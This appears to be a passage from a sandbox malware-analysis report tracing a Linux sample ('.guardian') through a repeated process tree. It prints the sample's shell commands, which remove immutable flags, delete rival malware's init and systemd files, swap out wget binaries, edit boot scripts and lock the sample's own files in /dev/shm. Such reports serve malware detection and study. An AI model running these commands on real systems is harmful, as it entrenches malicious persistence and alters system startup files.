                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • Removes the immutable protection flag from a file
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:1381
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • /tmp/.guardian
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        .guardian vps
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • Modifies Watchdog functionality
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • Checks hardware identifiers (DMI)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • Creates/modifies Cron job
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • Enumerates active TCP sockets
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • Modifies init.d
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • Modifies rc script
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • Modifies systemd
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • Reads MAC address of network interface
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • Reads hardware information
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • Changes its process name
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • Checks CPU configuration
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • Reads system network configuration
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • Enumerates kernel/hardware configuration
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • Reads runtime system information
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • Writes file to shm directory
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • Writes file to tmp directory
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:911
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • /bin/sh
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          sh -c "chattr -i /etc/init.d/tengu /etc/init.d/chud-daemon /etc/init.d/chud-watchdog /etc/init.d/chud-scheduler 2>/dev/null; rm -f /etc/init.d/tengu /etc/init.d/chud-daemon /etc/init.d/chud-watchdog /etc/init.d/chud-scheduler /etc/systemd/system/*chud*.service /etc/systemd/system/*tengu*.service /tmp/.up /tmp/.proxy.pid /dev/shm/.journal 2>/dev/null; for i in 2 3 4 5; do rm -f /etc/rc\$i.d/S*tengu /etc/rc\$i.d/S*chud*; done 2>/dev/null"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • Removes the immutable protection flag from a file
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:928
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • /usr/bin/chattr
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            chattr -i /etc/init.d/tengu /etc/init.d/chud-daemon /etc/init.d/chud-watchdog /etc/init.d/chud-scheduler
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • Removes the immutable protection flag from a file
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:929
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            rm -f /etc/init.d/tengu /etc/init.d/chud-daemon /etc/init.d/chud-watchdog /etc/init.d/chud-scheduler "/etc/systemd/system/*chud*.service" "/etc/systemd/system/*tengu*.service" /tmp/.up /tmp/.proxy.pid /dev/shm/.journal
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:930
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              rm -f "/etc/rc2.d/S*tengu" "/etc/rc2.d/S*chud*"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:931
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                rm -f "/etc/rc3.d/S*tengu" "/etc/rc3.d/S*chud*"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:932
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  rm -f "/etc/rc4.d/S*tengu" "/etc/rc4.d/S*chud*"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:933
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    rm -f "/etc/rc5.d/S*tengu" "/etc/rc5.d/S*chud*"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:934
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • /bin/sh
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    sh -c "rm -f /root/.cling /usr/local/bin/.cling; for d in /bin /usr/bin /sbin /usr/sbin /usr/local/bin; do if [ -f \$d/wget.p ]; then R=\$(cat \$d/wget.p 2>/dev/null); if [ -n \"\$R\" ] && [ -x \"\$R\" ]; then rm -f \$d/wget; cp -f \"\$R\" \$d/wget; chmod 755 \$d/wget; else for bb in /bin/busybox /usr/bin/busybox /sbin/busybox; do if [ -x \$bb ]; then rm -f \$d/wget; ln -sf \$bb \$d/wget; break; fi; done; fi; fi; rm -f \$d/wget.p \$d/wget.r; done; for f in /etc/inittab /etc/init.d/rcS /etc/rc.d/rc.boot; do if [ -f \$f ] && grep -q '\\.cling' \$f 2>/dev/null; then grep -v '\\.cling' \$f > \$f.tmp 2>/dev/null; if [ -f \$f.tmp ]; then cat \$f.tmp > \$f; fi; rm -f \$f.tmp; fi; done 2>/dev/null"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • File and Directory Permissions Modification
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:935
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      rm -f /root/.cling /usr/local/bin/.cling
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:936
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        rm -f /bin/wget.p /bin/wget.r
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:937
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          rm -f /usr/bin/wget.p /usr/bin/wget.r
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:938
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            rm -f /sbin/wget.p /sbin/wget.r
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:939
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              rm -f /usr/sbin/wget.p /usr/sbin/wget.r
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:940
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                rm -f /usr/local/bin/wget.p /usr/local/bin/wget.r
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:941
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • /bin/sh
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                sh -c "chattr +i /dev/shm/.guardian /dev/shm/.grd1an 2>/dev/null"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:942
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • /usr/bin/chattr
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    chattr +i /dev/shm/.guardian /dev/shm/.grd1an
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • Removes the immutable protection flag from a file
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:943
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • /bin/sh
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  sh -c "chattr -i /etc/init.d/tengu /etc/init.d/chud-daemon /etc/init.d/chud-watchdog /etc/init.d/chud-scheduler 2>/dev/null; rm -f /etc/init.d/tengu /etc/init.d/chud-daemon /etc/init.d/chud-watchdog /etc/init.d/chud-scheduler /etc/systemd/system/*chud*.service /etc/systemd/system/*tengu*.service /tmp/.up /tmp/.proxy.pid /dev/shm/.journal 2>/dev/null; for i in 2 3 4 5; do rm -f /etc/rc\$i.d/S*tengu /etc/rc\$i.d/S*chud*; done 2>/dev/null"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • Removes the immutable protection flag from a file
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:1028
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • /usr/bin/chattr
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    chattr -i /etc/init.d/tengu /etc/init.d/chud-daemon /etc/init.d/chud-watchdog /etc/init.d/chud-scheduler
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • Removes the immutable protection flag from a file
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:1029
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    rm -f /etc/init.d/tengu /etc/init.d/chud-daemon /etc/init.d/chud-watchdog /etc/init.d/chud-scheduler "/etc/systemd/system/*chud*.service" "/etc/systemd/system/*tengu*.service" /tmp/.up /tmp/.proxy.pid /dev/shm/.journal
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:1030
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      rm -f "/etc/rc2.d/S*tengu" "/etc/rc2.d/S*chud*"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:1031
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        rm -f "/etc/rc3.d/S*tengu" "/etc/rc3.d/S*chud*"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:1032
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          rm -f "/etc/rc4.d/S*tengu" "/etc/rc4.d/S*chud*"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:1033
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            rm -f "/etc/rc5.d/S*tengu" "/etc/rc5.d/S*chud*"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:1034
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • /bin/sh
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            sh -c "rm -f /root/.cling /usr/local/bin/.cling; for d in /bin /usr/bin /sbin /usr/sbin /usr/local/bin; do if [ -f \$d/wget.p ]; then R=\$(cat \$d/wget.p 2>/dev/null); if [ -n \"\$R\" ] && [ -x \"\$R\" ]; then rm -f \$d/wget; cp -f \"\$R\" \$d/wget; chmod 755 \$d/wget; else for bb in /bin/busybox /usr/bin/busybox /sbin/busybox; do if [ -x \$bb ]; then rm -f \$d/wget; ln -sf \$bb \$d/wget; break; fi; done; fi; fi; rm -f \$d/wget.p \$d/wget.r; done; for f in /etc/inittab /etc/init.d/rcS /etc/rc.d/rc.boot; do if [ -f \$f ] && grep -q '\\.cling' \$f 2>/dev/null; then grep -v '\\.cling' \$f > \$f.tmp 2>/dev/null; if [ -f \$f.tmp ]; then cat \$f.tmp > \$f; fi; rm -f \$f.tmp; fi; done 2>/dev/null"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • File and Directory Permissions Modification
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:1035
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              rm -f /root/.cling /usr/local/bin/.cling
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:1036
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                rm -f /bin/wget.p /bin/wget.r
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:1037
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  rm -f /usr/bin/wget.p /usr/bin/wget.r
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:1038
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    rm -f /sbin/wget.p /sbin/wget.r
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:1039
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      rm -f /usr/sbin/wget.p /usr/sbin/wget.r
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:1040
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        rm -f /usr/local/bin/wget.p /usr/local/bin/wget.r
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:1041
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • /bin/sh
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        sh -c "chattr +i /dev/shm/.guardian /dev/shm/.grd1an 2>/dev/null"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:1042
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • /usr/bin/chattr
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            chattr +i /dev/shm/.guardian /dev/shm/.grd1an
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:1043
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • /bin/sh
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            sh -c "chattr -i /etc/init.d/tengu /etc/init.d/chud-daemon /etc/init.d/chud-watchdog /etc/init.d/chud-scheduler 2>/dev/null; rm -f /etc/init.d/tengu /etc/init.d/chud-daemon /etc/init.d/chud-watchdog /etc/init.d/chud-scheduler /etc/systemd/system/*chud*.service /etc/systemd/system/*tengu*.service /tmp/.up /tmp/.proxy.pid /dev/shm/.journal 2>/dev/null; for i in 2 3 4 5; do rm -f /etc/rc\$i.d/S*tengu /etc/rc\$i.d/S*chud*; done 2>/dev/null"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • Removes the immutable protection flag from a file
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:1108
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • /usr/bin/chattr
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              chattr -i /etc/init.d/tengu /etc/init.d/chud-daemon /etc/init.d/chud-watchdog /etc/init.d/chud-scheduler
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:1109
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                rm -f /etc/init.d/tengu /etc/init.d/chud-daemon /etc/init.d/chud-watchdog /etc/init.d/chud-scheduler "/etc/systemd/system/*chud*.service" "/etc/systemd/system/*tengu*.service" /tmp/.up /tmp/.proxy.pid /dev/shm/.journal
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:1110
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  rm -f "/etc/rc2.d/S*tengu" "/etc/rc2.d/S*chud*"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:1111
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    rm -f "/etc/rc3.d/S*tengu" "/etc/rc3.d/S*chud*"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:1112
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      rm -f "/etc/rc4.d/S*tengu" "/etc/rc4.d/S*chud*"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:1113
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        rm -f "/etc/rc5.d/S*tengu" "/etc/rc5.d/S*chud*"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:1114
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • /bin/sh
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        sh -c "rm -f /root/.cling /usr/local/bin/.cling; for d in /bin /usr/bin /sbin /usr/sbin /usr/local/bin; do if [ -f \$d/wget.p ]; then R=\$(cat \$d/wget.p 2>/dev/null); if [ -n \"\$R\" ] && [ -x \"\$R\" ]; then rm -f \$d/wget; cp -f \"\$R\" \$d/wget; chmod 755 \$d/wget; else for bb in /bin/busybox /usr/bin/busybox /sbin/busybox; do if [ -x \$bb ]; then rm -f \$d/wget; ln -sf \$bb \$d/wget; break; fi; done; fi; fi; rm -f \$d/wget.p \$d/wget.r; done; for f in /etc/inittab /etc/init.d/rcS /etc/rc.d/rc.boot; do if [ -f \$f ] && grep -q '\\.cling' \$f 2>/dev/null; then grep -v '\\.cling' \$f > \$f.tmp 2>/dev/null; if [ -f \$f.tmp ]; then cat \$f.tmp > \$f; fi; rm -f \$f.tmp; fi; done 2>/dev/null"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • File and Directory Permissions Modification
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:1115
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          rm -f /root/.cling /usr/local/bin/.cling
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:1116
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            rm -f /bin/wget.p /bin/wget.r
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:1117
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              rm -f /usr/bin/wget.p /usr/bin/wget.r
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:1118
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                rm -f /sbin/wget.p /sbin/wget.r
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:1119
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  rm -f /usr/sbin/wget.p /usr/sbin/wget.r
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:1120
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    rm -f /usr/local/bin/wget.p /usr/local/bin/wget.r
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:1121
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • /bin/sh
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    sh -c "chattr +i /dev/shm/.guardian /dev/shm/.grd1an 2>/dev/null"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:1122
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • /usr/bin/chattr
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        chattr +i /dev/shm/.guardian /dev/shm/.grd1an
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • Removes the immutable protection flag from a file
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:1123
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • /bin/sh
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      sh -c "chattr -i /etc/init.d/tengu /etc/init.d/chud-daemon /etc/init.d/chud-watchdog /etc/init.d/chud-scheduler 2>/dev/null; rm -f /etc/init.d/tengu /etc/init.d/chud-daemon /etc/init.d/chud-watchdog /etc/init.d/chud-scheduler /etc/systemd/system/*chud*.service /etc/systemd/system/*tengu*.service /tmp/.up /tmp/.proxy.pid /dev/shm/.journal 2>/dev/null; for i in 2 3 4 5; do rm -f /etc/rc\$i.d/S*tengu /etc/rc\$i.d/S*chud*; done 2>/dev/null"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • Removes the immutable protection flag from a file
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:1188
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • /usr/bin/chattr
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        chattr -i /etc/init.d/tengu /etc/init.d/chud-daemon /etc/init.d/chud-watchdog /etc/init.d/chud-scheduler
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:1189
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          rm -f /etc/init.d/tengu /etc/init.d/chud-daemon /etc/init.d/chud-watchdog /etc/init.d/chud-scheduler "/etc/systemd/system/*chud*.service" "/etc/systemd/system/*tengu*.service" /tmp/.up /tmp/.proxy.pid /dev/shm/.journal
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:1190
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            rm -f "/etc/rc2.d/S*tengu" "/etc/rc2.d/S*chud*"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:1191
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              rm -f "/etc/rc3.d/S*tengu" "/etc/rc3.d/S*chud*"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:1192
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                rm -f "/etc/rc4.d/S*tengu" "/etc/rc4.d/S*chud*"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:1193
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  rm -f "/etc/rc5.d/S*tengu" "/etc/rc5.d/S*chud*"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  3⤵
